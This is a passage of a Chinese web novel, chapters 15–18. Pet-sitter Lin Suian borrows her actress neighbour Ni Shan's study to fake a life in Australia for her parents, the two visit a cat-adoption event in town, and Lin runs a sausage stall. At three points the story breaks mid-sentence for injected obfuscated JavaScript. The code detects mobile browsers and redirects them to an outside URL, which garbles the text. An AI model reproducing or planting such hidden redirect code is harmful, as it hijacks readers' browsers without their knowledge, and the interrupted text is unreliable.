谁也无法保证自己能长长久久地喜欢同一个地方啊。 “一个小小孩儿跟我说这些话,真的怪幽默的。”倪杉摇摇头,被她逗笑了。 “我早就不上学了,早就是大人了。”林岁安一本正经地说。我和那些浪费时间跟风上大学的小屁孩儿不一样,我历尽沧桑。 “谁让我永远都比你大五岁呢。不对,大六岁。” “数学不好?” “那是相当不好。” “哈哈哈哈哈。” 15. 见家长 接下来的几天,倪杉都睡了懒觉,因此没能和林岁安碰面。 倪杉把遛狗时间改到上午十点,她依旧不习惯新路线,依旧带着一猪在小区里跑两圈,又去市场买些水果回来。 晚上还有一次遛狗时间,还是一模一样的路线。 倪杉自己都在心里感慨,自己真的是个很无趣很死板的人。 这个小区的房子几乎都是民宿,留给来度假和登山露营的人们在周末订房、居住,因此平日里都见不到什么人,大部分房子都是空的。 萨摩耶只在林岁安这里寄养了三天,送走之后,林岁安迎来了久违的休息日。 突然不用起早走二里地去遛狗,还有些不适应。她早上醒来先喂猫、铲屎,然后回到床上靠着枕头追一部倪杉演的剧。 倪杉的戏份很少,有一点感情线但又不连贯,应该是被删减了许多戏份。她的每一次出场都在设计陷害女主,最终女主一次次靠着自己的聪明智慧和努力化解危机。 说不清是什么感觉,林岁安看得心里酸酸的。 她有点想抽烟。 林岁安在初中时就学会了抽烟。 她表面上是乖顺听话的满分学生,实际上却阴郁又叛逆,没人知道她真实的那一面。 她藏得太好了,从初中到高中,她的父母从没发现有任何不对劲。只要和同学友好相处,只要成绩优异,就不会出问题。 直到现在,她父母都以为她们的乖女儿已经在澳洲读完了本科和硕士,正在当地的律所实习。 淡漠,薄情,早慧,这才是真实的林岁安。 手机震了震,林岁安查看消息,妈妈问她今天在加班吗,还是在休息,可不可以视频。 林岁安叹了口气,算算时间,也确实太久没和家人视频了。 爸妈特别关心她的生活状态,要看看她现在生活的房间,她思来想去,打算去求助倪杉。 她想借用一下倪杉家的书房或是卧室。 她的毛坯房实在是见不得人,现在再装修一个房间也来不及,还不如直接借用现成的。 “姐,我有个事儿想找你帮忙。”她给倪杉发去了消息。 “我能不能借一下你家的某个小房间?我想在里面和我爸妈打个视频,不会太久,最多二十分钟。” “可以吗。如果不方便的话也没关系,我再去想想别的办法。” 林岁安不擅长求人帮忙,这话一发出去,她就想要撤回。因此,她在心里挣扎了一番,又发了这么一句话。 她已经做好了被拒绝的准备。 “我能知道为什么吗。”倪杉回复了她。 她的第一反应是拒绝。如果只是借用客厅倒也还好些,但是具体到某个房间就不合适了,她有一种自己的领地被人入侵的冒犯感。 房间是个私密的世界,光是观察一个人生活睡觉的地方就能获取许多秘密。 但是她和林岁安又是邻居,低头不见抬头见,直接拒绝又不太好。 “我家你也去过,都是,毛坯房,我不想让我爸爸妈妈知道我住在这样的房子里,我怕他们担心。” 林岁安没告诉她实情,倒也没说谎。 倪杉想起林岁安客厅里那两张公园长椅,以及卧室里孤零零的床垫,确实无法拒绝。 谁能拒绝一个有家但和睡大街没区别的家庭流浪者呢。倪杉代入了一下林岁安的父母,一想到自己的女儿在外漂泊又住在这种环境里,她看到这种画面也会受不了的。 “好。”她答应了。 “谢谢姐姐!你真是人美心善!好人一生平安!” 不一会儿,林岁安就抱着一大瓶自制金桔柠檬茶按了门铃。倪杉给她开门,接过这份伴手礼。 倪杉带着她来到二楼,二楼有一间书房,一间卧室,一个衣帽间,还有一个洗手间。 倪杉经常在书房读剧本,她的书房有一个书架和一张很大的书桌,书架上几乎是空的,摆放着台灯和一盏香薰灯。 她又带林岁安去看了看自己的卧室,卧室里有一张床和一个梳妆台,梳妆台上堆着满满的化妆品和护肤品。 两个房间都不像是林岁安会住的样子,林岁安非常不好意思地和倪杉商量,她想稍微改造一下书房。 征得倪杉的同意之后,林岁安从自己家搬了几摞书过来,摆在了倪杉的书架上,又在书桌上堆放了一些杂物,这么一看就显得像样多了。 倪杉全程光着脚坐在飘窗上,看着她忙忙碌碌地在楼上楼下跑来跑去。一猪和大黄也跟着凑热闹,林岁安在这期间差点被狗绊倒。 她紧急稳住身体站定,好险,差点就交代在这儿了。 已经是夏天了,倪杉把春季的长袖睡衣收起来,换上了真丝睡裙。 家里的空调一开就是一整天,一猪皮毛比较厚实,倪杉怕它会热。 “姐,真是谢谢谢谢谢你,我不会白找你帮忙的,你看你有什么服务需要,我可以免费帮你遛狗,免费洗狗,下次寄养可以打五折,你想要什么服务都可以。”林岁安几乎把倪杉当作救命恩人了。 “哇。这么多选项,那我可就记住了,等我有需要的时候你要履行承诺哦。” 倪杉靠在着飘窗的墙壁,阳光照进来,在她身上笼罩了一层薄薄的软绵绵的光: “不过我很好奇,以前这种事情你都是怎么解决的?” “我都是去市区借用我朋友的办公室,告诉我爸妈我在忙工作,然后匆匆聊几句就挂断了。” 林岁安之前都是借用秦筝的办公室: “但你也知道,我总不可能一直在工作,总要有个在家休息的场景,所以……” “想不到你还是我同行呢,你也是个演员。”倪杉对着她打趣道。 “过奖过奖。” 一切准备就绪,倪杉把书房留给林岁安,自己退了出去。 她站在门口,不一会儿就听到视频连线接通的声音: “岁岁!” “哎呀,岁岁,你在澳洲过得怎么样啊,不是说那边假期很多吗,为什么每次联系你你都在加班啊。” 倪杉靠着门眨眨眼睛,感觉自己知道了什么不得了的秘密。 啧啧啧,好大的胆子,年纪轻轻就撒下弥天大谎。这要是被戳穿了,家里人肯定会被气疯吧。 “你室友呢,你不是说你和一个女孩子一起租房吗?”林岁安的妈妈问她。 “哎呀,我室友,我室友真的是命运多舛。我跟你们说,她三十岁,离异,带着一个五岁的孩子来澳洲工作,特别不容易,每周还要给家里寄钱。” “而且她那个孩子,还不聪明,可能这里有点问题。”林岁安说着指了指自己的脑袋。 一猪,对不起了。 “那可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299296|198623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真是太辛苦了,都不容易。”林岁安妈妈煞有介事地赞同道。她自己养了个聪明的女儿,因此每天都活得充满希望,从而十分同情那些孩子痴傻的家庭。 倪杉站在门口,冷冷给林岁安发了一条消息:“你和你家里人说你在澳洲?” 林岁安给她发了一个求求你的表情,事发突然,她没顾得上跟倪杉说得太清楚。 倪杉回到卧室,在睡裙外面披了一件衬衫,系了领口的三个扣子,挡住一片春光。 她推门走进书房,来找林岁安这个死小孩算账。 见到倪杉进来,林岁安一家三口整整齐齐都愣住了。 倪杉站在林岁安身后,用手臂搂住她的脖子,狠狠往后一勒。 死小孩儿,说我离异带孩子。 “叔叔阿姨好,我是岁岁的室友。” 倪杉戴了一副黑框眼镜,她近视,平时拍戏都要戴隐形,只有在家里看剧本或看书时才会戴这样的眼镜。 这眼镜一戴,显得她的脸更小了,林岁安忍不住回头看了一眼。 倪杉低下头,这个角度刚好可以看到林岁安头顶有两个发旋。据说,头顶有两个发旋的人很聪明。 “你好你好,哎呀,岁岁一直说澳洲那边租房子很贵,幸好找到一个很好的姐姐和她合租,我们还要谢谢你呢。”林岁安的妈妈对她第一印象很好,成熟温柔,岁月静好,一看就是个好室友。 父母总是担心女儿在外面被人欺负,听说那边都是华国人坑骗华国人,越是自己国家的人就越不能相信。 “没事,大家都是在异国他乡打拼,都不容易。”倪杉笑着说。 她的手滑到林岁安腰上,在镜头拍不见的地方用力拧了她一下。 林岁安吃痛,却也只能面不改色地听着妈妈唠叨。 她极少和爸爸妈妈视频,大多数时候都是打语音, 倪杉就站在林岁安的身侧,一边配合她演戏,一边观察着林岁安的父母。两人一看就是很规矩很讲究的中年夫妻,为了和女儿视频,两人一起坐在客厅,全程用手举着手机,因此屏幕时不时要晃几下。 他们比较关心林岁安的感情问题,问她有没有谈恋爱。林岁安一听到这个话题就心烦,顿时没了好脸色,应付了几句就挂断了电话。 倪杉拍拍她的肩,同情地说:“你才25岁,父母就开始催婚了啊。” “他们这代人脑子有病,觉得人都必须要结婚生孩子。”用完了倪杉的书房,林岁安开始收拾东西,把这间房间恢复原状。 “她们也是好心,怕你一个人在外面孤独,有个人陪你还能放心些。” “我一个人快乐还来不及,又怎么会孤独。”林岁安疯狂摇头。 “不过,你胆子怎么这么大,这么大的谎,你以后要怎么办。”倪杉都替她发愁。你父母给你取了一个这么安稳的名字,你倒好,完全是背道而活。 “没事,反正我和他们说,今年年底我就回国了,她们发现不了的。”林岁安叹了口气。等“回国”之后,她的日子大概就没这么清静了。 “你说,你爸妈会不会认出我。毕竟我是做那种职业的。”倪杉见她有些不开心,于是和她开起了玩笑。 “不会,你现在的样子跟在电视剧里完全不一样。” 林岁安抱着书说: “你现在的样子和好人一模一样。” 16. 领养活动 为了报答倪杉帮忙打掩护的恩情,林岁安晚上给她发来消息,问她明天想不想去市区逛逛。 她们住的小区门口有去市区的公交和班车,路程大概一小时左右,所谓的市区也不过是二三线城市的市中心,都是一些不入流的商场和娱乐场所。 “市区有什么?”倪杉问她。 “有商场,咖啡馆,烘焙店,美食街,酒吧,ktv,各种世俗的欲望的消费场所。我想请你吃饭。” “好啊,我有点想吃gelato。”倪杉好久没逛街了,她欣然答应下来。 以前在京市时,她住的公寓离购物中心很近,经常在晚上去逛街散步,现在住在这种远离文明的地方,去哪里都不方便,榆城的商场也没有她爱买的品牌,连她喜欢的%Arabica咖啡都没有,因此她被迫放弃了这项爱好。 第二天上午,倪杉穿了一条亚麻长裙,戴着草帽,背了一个篮子包,踩着暴走专用平底鞋上了林岁安的面包车。 好久不进城了,她特意化了精致的淡妆,涂了棕红色的口红。 上次坐林岁安的面包车,还是林岁安送她去医院。当时倪杉被一猪那个大体格子撞得半死不活,再加上发烧,完全没注意到自己上了什么车去了什么地方,任人摆布。 这辆面包车平日里被用来接送小狗,使用频率很高。林岁安的客户几乎都住在京市,她开车两小时到京市去接到需要寄养小狗,再带小狗回到榆城。 倪杉习惯性地坐在后排,她身边的椅子上放着一个猫包,里面有五六只小猫,这群小猫很乖很安静,一点都不闹腾。 她本来就喜欢小猫,注意力完全被这群小家伙吸引了: “咱们出门逛街,你带这些小猫咪做什么?” “给它们找找领养。” 林岁安一边开车,一边给她解释道: “市区人多热闹,有领养活动,我把它们带去碰碰运气,说不定能遇到喜欢猫咪的好心人。” 领养要求很高,限制也很多,想要给猫猫狗狗找到一个负责任的主人很难。 “我可以抱一只出来玩玩吗。” “当然。不过你要小心,这窝小猫爪子很尖利,我没有给它们剪指甲。” 倪杉从猫包里随机挑了一只橘白小猫,这小猫胆子很大,顺着她的手臂就爬上了她的肩膀。 小猫摸起来软软的,很脆弱,骨骼那么纤细,和小狗完全不一样。 小猫没剪指甲,倪杉能感觉到它的小爪子酥酥麻麻嵌入到自己的脖颈,她连忙把小猫抓到腿上来。她用手指挠挠小猫的肚皮,小猫竟然四脚朝天地躺在她腿上,就这么信任地舒展开身体。 “你怎么这么亲人啊,宝宝。太可爱了。”倪杉抱着小猫爱不释手,拿着手机录了好多视频。 她把其中一个视频发给了桑桑,这小猫其实已经过了最好的幼猫赏味期,尴尬期有点丑,但不影响她打心底里觉得可爱。 倪杉就这么抱着小猫玩儿了一路,直到看到窗外的车流越来越多,她知道就快要到了。她把熟睡的小猫装回猫包,这才注意到一件了不得的事: “哎,你怎么染头发了。”她看见林岁安这小屁孩儿一头白金色的头发,在阳光下亮得耀眼。 “你才发现吗。”哇,我就这么不显眼这么没有存在感吗。 “不好意思,阳光太大了,晒得我睁不开眼睛,所以没注意。”倪杉尴尬地说。确实,这么明显的变化,没注意到太不应该了。 “这个理由很好,我差点就信了。” “你怎么想到要染成这个颜色,跟个非主流似的。你要去音乐节啦?” “我昨天,发现自己竟然有白头发了,看着不爽,索性全染白了。” “为什么不染黑色或者棕色呢?哪怕你染个黄毛我都觉得更合理一些。” “我喜欢银灰色。” “挺酷的,跟个野老太太一样。”年轻人的心思真是让人难以捉摸。 林岁安在商场附近的路边停好车,拎上猫包。 市区果然不一样,很是热闹,倪杉给桑桑发去消息,告诉她这个喜讯: “我进城了!” 桑桑:“哪个城?姐姐回京市了?” “没,榆城。” “榆城有什么好逛的吗?” “我也没逛过,这还是搬过来之后第一次逛。” 倪杉跟着林岁安进入商城,领养活动就在商场一楼中庭,很是热闹。 小笼子里都是待领养的动物们,倪杉看了一圈,有猫有狗,林岁安也把那几只小猫安顿在其中一个笼子里,收起猫包,和朋友们打招呼。 领养活动的志愿者都是之前和林岁安一起救助流浪猫狗的小伙伴,她们彼此之间很熟,只有倪杉是个局外人,看到她们一群人在热闹地聊天,倪杉独自转身退出这个圈子,慢悠悠地离开,打算去吃冰激凌。 “哎哎,跟你一起来的那个美女是谁啊。”有朋友问林岁安。 “我邻居,她也养狗。”林岁安盯着倪杉的背影,一眼就看出她要去买冰激凌。 “那她还要不要考虑领养小猫啊,我们今天有很多性格很好的猫猫狗狗。” “她应该不想,她已经有一只特别天使的小狗了。” 林岁安快步追了上去,商场有两家冰激凌店,为了报答倪杉昨天的恩情,她今天必须请客。 倪杉选了柠檬雪泥和香橙汽水两种味道的冰激凌球,扫码付款,林岁安紧赶慢赶还是来晚了一步。 她一脸责怪又懊恼地看着倪杉。 “说好的我请你呢。” 倪杉从店员手中接过冰激凌说:“你不用跟着我。你去忙你的事吧,我自己随便逛逛。” 她终于有心思仔细审视林岁安现在的模样,仔细一看,灰白色的头发还显得挺时髦,越看越顺眼。林岁安气质很奶拽,这发色很大一部分是靠她的这张脸撑着。 “幸亏你不是我女儿,不然我真是要疯了。”倪杉吃着冰激凌,一边走,一边评价道。 “我怎么了。”林岁安明知故问道。她就跟着倪杉在商场随意晃悠,漫无目的地走着。 “你一点都不听话。” “听话多没意思,听话的人都是被规训傻了的蛋挞。” “谁说的,一猪就很乖很听话,是全世界最好的宝宝。”倪杉生气地瞪了她一眼。 “那我总比一猪要聪明多了吧。” “你不去帮忙真的没关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299297|198623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 系吗?”倪杉搭乘扶梯上了二楼,站在扶梯上,她能看到热闹的中庭围了不少人,志愿者们很忙碌的样子。 “没事,她们忙得过来。” “你说,今天那窝小猫都能找到家吗。” 倪杉忽然开始担心起来: “找不到会怎么样?万一新主人对它们不好怎么办?” “找不到的话,下周在京市还有一场领养活动,可以继续找。” 看到倪杉拿着冰激凌小盒四处看,林岁安接过她手里的盒子,帮她扔进了垃圾桶。 “那句话怎么说的来着?还是大城市机会更多。” “那我还是希望……它们能在京市找到新家吧。” 倪杉走进一家高跟鞋店,如她所料,这家商场没有她常买的牌子。好不容易出来一趟,她不想空手而归,因此她选了一双黑色高跟鞋,让店员拿了她的鞋码,打算试一试。 她坐在椅子上,一边换鞋,一边看了一眼林岁安的鞋。 小屁孩儿穿了一双款式很简单的德训鞋,这鞋跟平得不能再平了。倪杉换上高跟鞋,站起身,和林岁安比了比身高。 “这么看还是我高一点吧。”她满意地俯视小孩儿,伸手拨弄了一下小孩儿新染的头发。 “你非要这么比吗。”你咋不站在房顶上跟我比身高呢。 倪杉穿着高跟鞋在店里走了走,中规中矩,谈不上喜欢也不能说不喜欢,她站在镜子前犹豫着。 “你喜欢吗。”小孩儿问她。 或许是倪杉太敏感,她总觉得这句话的口气听上去不简单,有一种强势和霸道,很主导。因此她对小孩儿说: “我发现你现在说话总是你你你的,你要叫我姐姐,好吗。” 林岁安轻轻点头,立马改口:“你喜欢姐姐吗。” 果然,她哪里是会乖乖听话的人。 倪杉不理她,低头把高跟鞋脱下来,兴致缺缺地换上了自己的鞋。 “我觉得挺好看,你喜欢的话我可以送你。”林岁安盯着倪杉性感又纤细的脚踝移不开眼。 “我有点纠结。” “纠结什么?” “因为我也不知道自己到底是喜欢还是不喜欢。” 纵使倪杉家里早就有了穿不完的高跟鞋,她还是爱买鞋。大多数买来的鞋都和现在这种情况一样,买也可以,不买也可以。 为什么到最后还是买了,因为她买得起,是那种不需要心疼钱的买得起。 她自己都没发觉,自己已经很久没有那种非买不可的欲望了。二十多岁的时候经常有,一收到片酬,她就像疯了一样购物,买高奢,配货。或许是因为小的时候太贫瘠,长大后有了钱才会报复性消费。 林岁安看着她发怔的样子,还以为她是在犹豫不决。 “我买给你吧。” 我想买给你。 “不需要,哪有让小孩子帮我付钱的道理。” 倪杉站起身,自己找销售付了款: “而且你欠我的人情我并不想用在这里。” 倪杉还是想把人情落实在一猪身上,她过段时间就要进组,到时候一猪还是会寄养在林岁安的小狗幼儿园,在昂贵的寄养费上打个折比什么都强。 17. 进城 林岁安帮倪杉拎着新鞋,请她在商场吃了一家韩餐。 倪杉一边点餐一边感慨,二三线城市的物价确实比京市低很多,她和林岁安点了好多菜,加起来也没多少钱。 “桑桑,你快尝尝这个……” 她马上反应过来: “不好意思,我把你当成另一个妹妹了。” “你还认识别的妹妹?也是咱们小区的?” “我助理,和你一样,也是二十多岁。” 倪杉想起桑桑那张平静又温和的小脸,又补充道: “她可比你乖多了。” “你为什么总跟妹妹一起玩儿?怎么不和同龄人一起玩。” 林岁安不以为意地夹起一块年糕,她还没堕落到想要和人比乖的地步。 她乖就乖,我就不乖。 到底是小孩儿,自从被叫错名字之后,倪杉能明显感觉到对面的人变沉闷了。 林岁安一声不响地吃着饭,也不知道在想什么。 乖又不是什么优点,乖就那么好吗。 况且你觉得我乖或不乖一点都不重要,你的想法对我不构成影响和意义。 “岁岁,快尝尝这个炒鱼饼,很好吃。”倪杉哄小孩儿一哄一个准,她夹了一筷子鱼饼到林岁安的碗里。 “你叫我什么?”林岁安大为震惊,瞬间脸红了。 “岁岁。”倪杉直视她的眼睛,又说了一遍。 好奇怪。 虽然秦筝也经常喊她岁岁,一起救助小动物的朋友们也有人这样喊她,但她从没有像现在这样不好意思。 “那天我听到你和你父母视频,她们叫你岁岁,我觉得这个名字很可爱。”倪杉很喜欢这个小昵称。 “杉杉。”林岁安也用同样的方式反击了她。 “………” “杉杉。”林岁安又挑衅般地叫了一次。 “……你真的很欠揍。”要不是隔着桌子,倪杉真想一巴掌打在她的后背上。 “你这个杉是指水杉、冷杉还是云杉?”林岁安问她。 “我对植物没有了解,这些树有什么区别吗?” 这可把倪杉问住了。不都是松树吗。以前曾沐给她查过,各种杉树的品种细节不一样,但在倪杉看来都一样。 “等秋天的时候,我带你和一猪进山认认这些树的区别。” “带我和一猪进山。”倪杉念叨着这句话,被逗笑了。 “我一直想问你,你为什么会选择养伯恩山?” 说到一猪,林岁安想到一个问题: “伯恩山的平均寿命很短,肿瘤发病率极高,虽然是小天使,但是考虑到这个原因,很多人不会轻易选择养这种狗。” “不是我选的,我从来都没有想过要养狗。” 倪杉想了想,还是和她简单解释了一遍: “一猪是我朋友的狗,因为一些原因,她没办法养了,一猪就被留在犬舍,我就把它接回了家。” “你朋友为什么不养了?” 怎么可以做出这么不负责任的事呢。冲动养狗不可取。 倪杉没有回答她。 这也是她想问曾沐的问题:明明是你亲自在犬舍挑选的小狗,你为什么不养了? 你怎么可以这样不负责任,抛下我,也抛下它。 她用勺子搅拌着碗里的石锅拌饭,慢悠悠地吃了半碗:“人生总有意外发生,不是什么事都会按照计划进行。” 下午,倪杉逛街逛累了,找了一家咖啡店休息,林岁安抢着请客,用优惠券给她兑换了一杯星冰乐和一份芝士蛋糕。 林岁安没闲着,安顿好倪杉,回到一楼中庭去看看猫猫狗狗们的领养情况。 林岁安带来的小猫几乎全被领养走了,只剩下一只毛色不太好看的小煤球。 “有一家人刚刚对它挺感兴趣的,但是比较犹豫,可能还是觉得它不够好看。” “没事,这种事可不能勉强。”林岁安把小煤球装进猫包里,一窝小猫只剩下一只,她的心里又开心又酸涩。 这窝小猫在她家住了挺长一段时间,刚跟她混熟。林岁安每天都会把它们放进大卧室跑一跑,每只小猫都有独特的个性,敏感细腻又亲人。养小猫像是在养女儿。 可惜她家已经有五只猫了,不然她就把这小煤球自留了。 “怎么样,都被领走了吗,谁被剩下了。”看见林岁安拎着猫包走进咖啡店,倪杉连忙伸手要接猫包,想看看谁是这颗沧海遗珠。 “毛色不太符合大众审美的一只宝宝。” 林岁安拿起她桌上的杯子,晃了晃里面的冰块: “这么大一杯冰激凌咖啡全喝了?胃不会难受吗。” 隔着猫包的黑色网格,倪杉甚至看不清包里的小猫长什么样,难怪会被剩下。 “你想回家了吗。”林岁安问她。 倪杉点点头:“我好累。” 她逛不动了。 她平时都是一动不动躺在家里,唯一的运动就是带着狗出去溜达一圈,这个运动量已经很可以了。 林岁安帮她拎着东西,除了那双新鞋,倪杉还买了一大袋子面包,打算回去放进冰箱留着慢慢吃,她还额外打包了两块蛋糕。 林岁安开车,迎着落日往回走。即使喝了咖啡,倪杉还是靠在椅子上睡着了。 淡金色的光照在她的脸上和身上,一闪一闪流动起来。红灯,林岁安停了车,透过后视镜看她,看得太久,许多温柔缱绻的情绪在一呼一吸间弥漫到整个车厢。 她平日里都是独自开车,自由自在听歌哼歌,破口大骂不会开车的人上下八辈儿祖宗,极少载人。 有个美人睡在自己车里,终归是件值得偷偷开心的事。 能和这样的人成为邻居、成为朋友,是林岁安生活中的意外。意外是暂时的,不会是常态。 绿灯。 林岁安开着车,一路很顺,没有堵车。 倪杉在快到家的时候醒过来,她拿起手机看了眼时间,点开朋友圈,看到桑桑发来的消息。 桑桑去了一家狗咖撸狗,之前倪杉在京市的时候,她还能撸到一猪,主动揽下遛狗和带狗去洗澡的工作,现在倪杉搬去榆城,她的心痒只能靠去猫咖和狗咖缓解。 天已经完全暗下来,车开进小区,倪杉看见大黄从林岁安的院子里迎了过来: “你发现没有,这边明显比市区要安静很多。” “我刚刚看到小区门口的市集都没有人了,大家都早早回家了。” 林岁安不接话。 那是当然了,这可是山脚下最静谧最理想的住宅小区,她考察了好多地方,最终才敲定了这里。 这小区的房子都是独栋别墅,价格不低,因此她当初在购买 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299298|198623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的时候欠了一屁股债。 “你晚上不遛狗吗?”林岁安拎着猫包下了车,看着倪杉慢悠悠地从后座挪下来。 “我最多带着一猪在小区里走两圈。” 倪杉摇摇头,她好累啊,只想回家洗洗澡睡觉,走不了一点。 “对了,你之前说,你去京市和沪市生活过,你当时是打算在那边找工作吗?” “你觉得我是那种能给别人打工的人?” “你不是,你不听话。” 倪杉看着林岁安,在夜里,她这头金白色的头发让人移不开眼: “所以你是想去那边开店?” “差不多,我最初的设想是想做猫咖和狗咖,方案和资金都准备得差不多了,最后改变了主意。” 林岁安回过头去,看着身后的这栋小房子。 她把用来创业的钱买了这栋房子,在这里开了她的小狗幼儿园。 她把唯一的沧海遗珠安顿回家,与此同时,倪杉跑了几步回去,打开院门和家门,把一猪放出来。 一猪在家里呆了一天,开心地围在倪杉和林岁安脚边转圈圈,又去林岁安的院子里玩儿了起来。 倪杉今天想偷懒,她打算就这么放任一猪在这里玩儿一会儿,就当是遛狗了。 “你真的挺厉害的,就是不知道这样做以后会不会后悔。” 太虎了,幸亏你不是我女儿,不然我真是会被吓死或气死。 “根据我的经验,无论怎么选、怎么做,都是会有后悔和遗憾的。” 林岁安也曾犹豫过,这笔钱真要这么花吗。 不去上学真的对得起父母的信任和付出吗。 可真要让她做个乖小孩去上学,她只会更后悔。 “一猪,过来。”林岁安召唤在院子里玩耍的小胖子,稳稳抱住了它。 “牵引绳给我吧,我带它去跑一圈。” “跑一圈儿?” “我有点想跑步,但今天有点累,所以只能跑5km。”林岁安说着,活动活动脚腕,做起了热身运动。 她打开跑步app,开始记录行程。 “…………” 到底是年轻,浑身上下好像有用不完的牛劲儿。 倪杉点点头,拎着今天买的东西放到客厅地上,又从门口的架子上拿了牵引绳,放心地交给林岁安。 她看着林岁安牵着一猪奔跑着消失在夜幕中,忽然觉得岁月不饶人。 林岁安明明和她一起逛了一天街,怎么就不累呢。 她没关小院门,筋疲力尽地走进家里,打开灯,脱了鞋,行云流水般地躺在沙发上,闭目养神,等着小狗回家。 小区的路灯全都亮着,林岁安牵着狗一边跑,一边观察着每一栋房子。大多数房子都没人住,全屋没开灯,也有一些房子有人住,其中一家人养了两只大金毛。 一猪跟着林岁安扎扎实实绕圈跑完了五公里,今日份的运动量已达标,它伸着舌头狗喘,急着回家喝水。 倪杉被小狗的喘息声吵醒,一睁眼,就看见一猪累得摊开全身,躺在沙发边上,水碗已经空了。 她一脚从小狗身边跨过去,给它添了水,转头发现小院的门已经被关好,林岁安早已离开。她把家里门窗反锁,在微信上给林岁安发了一句:“谢谢岁岁。” 岁岁平安马上回复了她:“杉杉,不客气。” 18. 东北正宗台湾烤肠 早上醒来,林岁安觉得自己浑身酸痛。 太久不运动,昨天为了在姐姐面前装十三,脑子一热就做了如此冲动之事。 一咬牙一跺脚就莫名其妙跑了五公里。 她就这么躺在床上,哪儿哪儿都疼,觉得自己要废了。幸好现在家里没有寄养的毛孩子,不需要遛狗,不然她怕是要废了。 当时为什么要装十三,林岁安对自己的行为百思不得其解。她觉得自己整个人像被夺舍了一样,突然就很想要表现一下:让原本就对我刮目相看的姐姐对我的印象更上一层楼。 你怎么了?为什么会在意别人对你的看法? 林岁安一鼓作气忍着疼痛起床,洗脸刷牙,对着镜子查看自己的头发。 这新发色持续不了太久,等下周就要变成白金色。 今天是周日,林岁安从后院的仓库里找出她的三轮餐车,餐车太久没用,落了些灰,她仔细打理干净,动用了车上的烤肠机。 林岁安的小狗幼儿园并不是每周都有生意,有时一个月都没有小猫小狗来寄养,林岁安就开着餐车去松谷山脚下的景区门口卖烤肠和饮料矿泉水。 上山的游客买的少,下山的游客基本都要在她这里买冰镇水和烤肠,因此林岁安只需要在中午或下午时间出摊几小时就能赚到。 遛狗有遛狗的乐趣,摆摊有摆摊的乐趣,林岁安觉得自己像是在体验一种经营小游戏。 倪杉直到快中午时才懒洋洋地出门遛狗。 昨天晚上,一猪跟着林岁安跑累了,早上六点竟然也没能起床,在地板上睡得很香。 倪杉把昨天买的面包在空气炸锅里加热,慢悠悠地喂狗、吃早餐,她用防晒面罩把自己裹起来,牵着一猪出门散步。 昨天一猪在小区里跑步了,今天死活不肯继续在小区里绕圈,倪杉没办法,只好带着它往松谷山方向走去。 倪杉有些想不起来上次林岁安带她去的那片银杏林是从哪个路口拐进去,因此放弃了这个方案,索性决定走到景区再走回来。 倪杉没想到这条路上这么热闹,大巴车刚停好,就有大批的登山者和游客涌出,和她一同往松谷山方向走去。 倪杉注意到他们都穿着比较专业的冲锋衣、登山鞋,背着登山包。 一行人走到山脚下,发现有卖烤肠和矿泉水的小摊,纷纷围了过去。 “矿泉水五元。”摊主愉快地说。 “这么贵?” “哎呀,要不您就移步到三公里之外的小卖铺去看看,那边也是这个价。” 等这波人买完水散去,摊位上只剩下林岁安和倪杉。 林岁安穿着长裤衬衫,头发被风吹得凌乱,桀骜不驯,随性而自由,倪杉再走近一些,看到餐车上贴着的招牌: “东北正宗台湾烤肠” “你这是……”倪杉欲言又止。 “这是烤肠。”林岁安给她介绍道。 “我知道这是烤肠,你觉得我会不知道这是烤肠吗。” “东北正宗台湾烤肠,姐,你要来一根不,五块钱一个,十块钱三个。”林岁安笑着看着倪杉,倪杉这防晒做得严防死守,看着很好笑。 “我要一个吧。”倪杉看到烤肠机上的烤肠,每一根都被烤得油光闪闪,看起来很有食欲。 “姐,你要一个不划算。”倪杉提醒她。 “我吃不了三个,小狗可以吃吗。”一猪早就闻到香气了,一直在疯狂转圈圈,示意倪杉给它买,口水都打湿了倪杉的鞋面。 “可以吃一小口,因为这是路边摊,不安全不卫生,最好不要给狗吃,给人吃正好。”林岁安用竹签插了一支烤肠,递给倪杉。 倪杉把烤肠咬下来一块放在手心,喂给了一猪。 “这是猪肉肠吗?”倪杉自己咬了一口,感觉味道还不错。 “这是淀粉肠,一点肉没有,纯淀粉,很健康。” 怎么可能会有肉,这是我特意从东北批发来的。 “………” 倪杉把一猪的牵引绳交给林岁安,自己围着餐车转了一圈:矿泉水,小零食,冰镇饮料、啤酒。 “所以这是你的副业吗?” “是,平日里不忙的时候,我会出来摆摊。” 倪杉第一次见到把生活过得这么儿戏的人。 虽然林岁安表明自己不收钱,请她吃烤肠,倪杉还是扫码付了五元。 不一会儿,有一家三口从停车场走过来,直奔林岁安的餐车,吵吵闹闹地买了矿泉水和烤肠。 